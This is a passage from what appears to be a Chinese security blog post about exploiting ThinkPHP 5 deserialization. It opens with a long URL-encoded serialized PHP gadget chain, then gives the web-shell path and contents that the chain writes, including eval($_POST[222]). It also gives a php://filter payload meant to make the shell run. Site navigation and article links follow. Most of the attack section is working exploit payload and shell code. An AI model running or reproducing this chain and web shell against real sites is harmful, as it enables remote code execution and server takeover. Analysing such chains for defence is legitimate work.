54%4f%20%25%54%41%42%4c%45%25%20%28%25%46%49%45%4c%44%25%29%20%56%41%4c%55%45%53%20%28%25%44%41%54%41%25%29%20%25%43%4f%4d%4d%45%4e%54%25%22%3b%73%3a%31%32%3a%22%00%2a%00%64%65%6c%65%74%65%53%71%6c%22%3b%73%3a%37%33%3a%22%44%45%4c%45%54%45%20%46%52%4f%4d%20%25%54%41%42%4c%45%25%20%25%55%53%49%4e%47%25%20%25%4a%4f%49%4e%25%20%25%57%48%45%52%45%25%20%25%4f%52%44%45%52%25%25%4c%49%4d%49%54%25%20%25%4c%4f%43%4b%25%25%43%4f%4d%4d%45%4e%54%25%22%3b%7d%73%3a%38%3a%22%00%2a%00%6d%6f%64%65%6c%22%3b%73%3a%31%37%3a%22%74%68%69%6e%6b%5c%6d%6f%64%65%6c%5c%50%69%76%6f%74%22%3b%73%3a%38%3a%22%00%2a%00%74%61%62%6c%65%22%3b%73%3a%30%3a%22%22%3b%73%3a%37%3a%22%00%2a%00%6e%61%6d%65%22%3b%73%3a%35%3a%22%50%69%76%6f%74%22%3b%73%3a%35%3a%22%00%2a%00%70%6b%22%3b%4e%3b%73%3a%39%3a%22%00%2a%00%70%72%65%66%69%78%22%3b%73%3a%30%3a%22%22%3b%73%3a%31%30%3a%22%00%2a%00%6f%70%74%69%6f%6e%73%22%3b%61%3a%30%3a%7b%7d%73%3a%37%3a%22%00%2a%00%62%69%6e%64%22%3b%61%3a%30%3a%7b%7d%7d%73%3a%31%33%3a%22%00%2a%00%66%6f%72%65%69%67%6e%4b%65%79%22%3b%69%3a%33%3b%73%3a%31%31%3a%22%00%2a%00%6c%6f%63%61%6c%4b%65%79%22%3b%69%3a%34%3b%73%3a%31%32%3a%22%00%2a%00%62%61%73%65%51%75%65%72%79%22%3b%4e%3b%7d%73%3a%31%31%3a%22%00%2a%00%76%61%6c%69%64%61%74%65%22%3b%4e%3b%73%3a%35%3a%22%00%2a%00%70%6b%22%3b%4e%3b%73%3a%38%3a%22%00%2a%00%66%69%65%6c%64%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%65%78%63%65%70%74%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%64%69%73%75%73%65%22%3b%61%3a%30%3a%7b%7d%73%3a%31%31%3a%22%00%2a%00%72%65%61%64%6f%6e%6c%79%22%3b%61%3a%30%3a%7b%7d%73%3a%31%30%3a%22%00%2a%00%76%69%73%69%62%6c%65%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%68%69%64%64%65%6e%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%61%70%70%65%6e%64%22%3b%61%3a%31%3a%7b%73%3a%31%3a%22%61%22%3b%73%3a%38%3a%22%67%65%74%45%72%72%6f%72%22%3b%7d%73%3a%37%3a%22%00%2a%00%64%61%74%61%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%6f%72%69%67%69%6e%22%3b%61%3a%30%3a%7b%7d%73%3a%31%31%3a%22%00%2a%00%72%65%6c%61%74%69%6f%6e%22%3b%61%3a%30%3a%7b%7d%73%3a%37%3a%22%00%2a%00%61%75%74%6f%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%69%6e%73%65%72%74%22%3b%61%3a%30%3a%7b%7d%73%3a%39%3a%22%00%2a%00%75%70%64%61%74%65%22%3b%61%3a%30%3a%7b%7d%73%3a%31%33%3a%22%00%2a%00%63%72%65%61%74%65%54%69%6d%65%22%3b%73%3a%31%31%3a%22%63%72%65%61%74%65%5f%74%69%6d%65%22%3b%73%3a%31%33%3a%22%00%2a%00%75%70%64%61%74%65%54%69%6d%65%22%3b%73%3a%31%31%3a%22%75%70%64%61%74%65%5f%74%69%6d%65%22%3b%73%3a%31%33%3a%22%00%2a%00%64%61%74%65%46%6f%72%6d%61%74%22%3b%73%3a%31%31%3a%22%59%2d%6d%2d%64%20%48%3a%69%3a%73%22%3b%73%3a%37%3a%22%00%2a%00%74%79%70%65%22%3b%61%3a%30%3a%7b%7d%73%3a%31%31%3a%22%00%2a%00%69%73%55%70%64%61%74%65%22%3b%62%3a%30%3b%73%3a%38%3a%22%00%2a%00%66%6f%72%63%65%22%3b%62%3a%30%3b%73%3a%31%34%3a%22%00%2a%00%75%70%64%61%74%65%57%68%65%72%65%22%3b%4e%3b%73%3a%31%36%3a%22%00%2a%00%66%61%69%6c%45%78%63%65%70%74%69%6f%6e%22%3b%62%3a%30%3b%73%3a%31%37%3a%22%00%2a%00%75%73%65%47%6c%6f%62%61%6c%53%63%6f%70%65%22%3b%62%3a%31%3b%73%3a%31%36%3a%22%00%2a%00%62%61%74%63%68%56%61%6c%69%64%61%74%65%22%3b%62%3a%30%3b%73%3a%31%36%3a%22%00%2a%00%72%65%73%75%6c%74%53%65%74%54%79%70%65%22%3b%73%3a%35%3a%22%61%72%72%61%79%22%3b%73%3a%31%36%3a%22%00%2a%00%72%65%6c%61%74%69%6f%6e%57%72%69%74%65%22%3b%4e%3b%7d%7d%73%3a%34%30%3a%22%00%74%68%69%6e%6b%5c%70%72%6f%63%65%73%73%5c%70%69%70%65%73%5c%57%69%6e%64%6f%77%73%00%66%69%6c%65%48%61%6e%64%6c%65%73%22%3b%61%3a%30%3a%7b%7d%73%3a%33%38%3a%22%00%74%68%69%6e%6b%5c%70%72%6f%63%65%73%73%5c%70%69%70%65%73%5c%57%69%6e%64%6f%77%73%00%72%65%61%64%42%79%74%65%73%22%3b%61%3a%32%3a%7b%69%3a%31%3b%69%3a%30%3b%69%3a%32%3b%69%3a%30%3b%7d%73%3a%34%32%3a%22%00%74%68%69%6e%6b%5c%70%72%6f%63%65%73%73%5c%70%69%70%65%73%5c%57%69%6e%64%6f%77%73%00%64%69%73%61%62%6c%65%4f%75%74%70%75%74%22%3b%62%3a%31%3b%73%3a%35%3a%22%70%69%70%65%73%22%3b%61%3a%30%3a%7b%7d%73%3a%31%34%3a%22%00%2a%00%69%6e%70%75%74%42%75%66%66%65%72%22%3b%69%3a%30%3b%73%3a%38%3a%22%00%2a%00%69%6e%70%75%74%22%3b%4e%3b%73%3a%33%34%3a%22%00%74%68%69%6e%6b%5c%70%72%6f%63%65%73%73%5c%70%69%70%65%73%5c%50%69%70%65%73%00%62%6c%6f%63%6b%65%64%22%3b%62%3a%31%3b%7d

最终 shell 的生成位置在 web 根目录下，具体文件名为：

/<%3fcuc%20riny($_CBFG[222]);%3f>1f4a7d71e74e3047f143b38ab405a056.php

需要注意的是，生成的 shell 中的内容如下：

<?cuc
//000000000000
rkvg();?>
f:105:"cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=./<?php eval($_POST[222]);?>144r670517833r1320qp30802o8671p5.cuc

如果服务器支持短标签，则前面的标签为有效标签，但由于代码是错误代码，因此会报 500 错误。shell 无法被利用。

一般情况下，我们可以修改攻击载荷中的关键部分为如下内容：

php://filter/write=3Dstring.strip_tags/string.strip_tags/convert.quoted-printable-decode/resource=3D=3c?phpeval($_POST[222]);?=3e

即可通过多重过滤器使 shell 能够正常运行。但是，因为此处引入了一个无效过滤器，PHP 会爆出一个 warning ，并抛出 call stack ，此时，tp5 无法再继续执行，不会生成最终的 shell 。这也是比较遗憾的一点。

欢迎关注星阑科技，小编将持续推送安全干货~

从一个app开始的渗透测试之路

译文声明

前言：

阶段一：IOS 越狱

阶段二： IOS 抓包

发表评论

TA的文章

保护敏感数据的艺术：数据安全指南

受邀演讲 | 确保数字化生态安全稳健

技术专题：API资产识别大揭秘（一）

解密与探究：理解WebSocket协议与报文格式

创新护航：萤火助力守护数据跨境安全

相关文章

再创新高！纬安科技斩获国家信息安全漏洞库（CNNVD）五项年度大奖，技术贡献获国家级重磅表彰！

记一所中学的的SQL报错注入

那些你需要知道的关于DORA的知识

经验分享｜记一次bc站实战

企业年度渗透安全测试具备相当大的局限性

实战记录之曲线救国

关于bypassuac的探究

热门推荐

从一个app开始的渗透测试之路

译文声明

前言：

阶段一：IOS 越狱

阶段二 ： IOS 抓包

发表评论

TA的文章

相关文章

热门推荐

阶段二： IOS 抓包